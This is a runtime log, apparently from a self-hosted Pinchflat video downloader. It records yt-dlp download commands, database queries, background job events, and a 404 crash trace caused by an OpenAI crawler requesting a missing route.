/downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8f/19/8f194ffda2eb708c3e24facd1b4c1f2891ad98f19c12f4e2c5229aa04288e5cc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:24:58.886 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.662 [info] {"source":"oban","duration":147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:25:28.888 [info] {"source":"oban","duration":1882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:40.138 [info] GET /sources/1/media/109/force_download 22:25:40.139 [debug] QUERY OK source="settings" db=0.2ms idle=928.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:25:40.139 [debug] QUERY OK source="settings" db=0.1ms idle=76.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:25:40.139 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:25:40.140 [error] #PID<0.4758.0> running PinchflatWeb.Endpoint (connection #PID<0.4757.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/109/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/109/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4757.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/109/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 44554}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/109", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4758.0>, params: %{}, path_info: ["sources", "1", "media", "109", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/109"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/109/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDgLbdchbXwNuYAATkC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4757.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/109/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 44554}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/109", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/109/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4757.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/109/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 44554}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/109", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4758.0>, params: %{}, path_info: ["sources", "1", "media", "109", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_reques (truncated) 22:25:58.890 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.664 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:26:26.894 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=PGLmrQerS6I --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d2/60/d260600319eaa6afa91942a1d2cd9dc3c58e27594098ba1402e154309c9e7231.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:26:26.902 [debug] Running yt-dlp command for action: download_thumbnail 22:26:26.903 [debug] QUERY OK source="settings" db=0.0ms idle=840.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:26.903 [debug] QUERY OK source="settings" db=0.0ms idle=840.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:26.903 [debug] QUERY OK source="settings" db=0.0ms idle=840.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:26.903 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=PGLmrQerS6I --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/89/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/64/36/6436e7cf1eb0aeccab568499fbad83a8de8c3dabcf90336dd3f338c656fbf901.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:26:28.891 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:29.748 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=PGLmrQerS6I --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/89/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/64/36/6436e7cf1eb0aeccab568499fbad83a8de8c3dabcf90336dd3f338c656fbf901.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:26:29.748 [debug] QUERY OK db=0.0ms idle=1686.1ms begin [] 22:26:29.749 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:26:26Z], "/downloads/Last Meals/2025-02-20 Jacob Collier Eats His Last Meal/Jacob Collier Eats His Last Meal [PGLmrQerS6I].mp4", ~U[2026-03-28 02:26:29Z], 89] 22:26:29.749 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/89/metadata.json.gz", "/config/metadata/media_items/89/thumbnail.jpg", 89, ~U[2026-03-28 02:26:29Z], ~U[2026-03-28 02:26:29Z]] 22:26:29.749 [debug] QUERY OK db=0.0ms commit [] 22:26:29.750 [debug] QUERY OK source="media_items" db=0.5ms idle=1687.2ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [603961385, ~U[2026-03-28 02:26:29Z], 89] 22:26:29.750 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:26:29.750 [info] {"args":{"id":89},"id":88,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":179221849,"event":"job:stop","queue_time":5679528392,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:26:29.751 [debug] QUERY OK source="tasks" db=0.3ms idle=859.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:26:29.751 [debug] QUERY OK source="tasks" db=0.3ms idle=460.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:26:29.751 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90] 22:26:29.751 [debug] QUERY OK source="media_items" db=0.4ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90] 22:26:29.756 [info] {"args":{"id":91},"id":90,"meta":{},"system_time":1774664789756588016,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:26:29.756 [debug] QUERY OK source="media_items" db=0.0ms idle=5.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91] 22:26:29.756 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:26:29.757 [debug] QUERY OK source="tasks" db=0.3ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:26:29.757 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:26:29.757 [debug] QUERY OK source="tasks" db=0.4ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:26:29.757 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:26:29.757 [debug] QUERY OK source="media_items" db=0.2ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [90, 91] 22:26:29.757 [debug] QUERY OK source="media_items" db=0.1ms idle=0.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [90, 91] 22:26:29.757 [debug] QUERY OK source="media_items" db=0.2ms idle=0.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91] 22:26:29.757 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [91] 22:26:29.758 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:26:29.758 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:29.758 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:29.758 [debug] Running yt-dlp command for action: get_downloadable_status 22:26:29.758 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:29.758 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:29.758 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:29.758 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=km6sdtqn5dA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/af/7e/af7ecbe64e7826c93717bfdaf9aea7aa9d891c66555d6e3efe649df3fc0f462b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:26:32.117 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=km6sdtqn5dA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/af/7e/af7ecbe64e7826c93717bfdaf9aea7aa9d891c66555d6e3efe649df3fc0f462b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:26:32.118 [debug] Running yt-dlp command for action: download 22:26:32.118 [debug] QUERY OK source="settings" db=0.1ms idle=1055.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:32.118 [debug] QUERY OK source="settings" db=0.0ms idle=1055.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:32.118 [debug] QUERY OK source="settings" db=0.0ms idle=1056.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:32.118 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=km6sdtqn5dA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/59/da/59da21d69aa71d9362a03778120a632fedc066ebd20c83d6320e1581548987ea.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:26:41.090 [info] GET /media_profiles/1/edit 22:26:41.091 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:26:41.091 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1028.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:26:41.092 [debug] QUERY OK source="settings" db=0.1ms idle=1029.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:41.093 [debug] QUERY OK source="settings" db=0.1ms idle=1030.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:26:41.093 [debug] QUERY OK source="settings" db=0.1ms idle=783.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", 